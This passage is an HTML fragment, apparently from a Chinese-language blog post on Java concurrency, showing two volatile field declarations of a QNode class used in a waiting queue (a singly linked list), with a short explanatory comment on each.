&nbsp; volatile QNode next;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 可以看出来，等待队列是单向链表</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; volatile Object item;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// CAS'ed to or from null</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136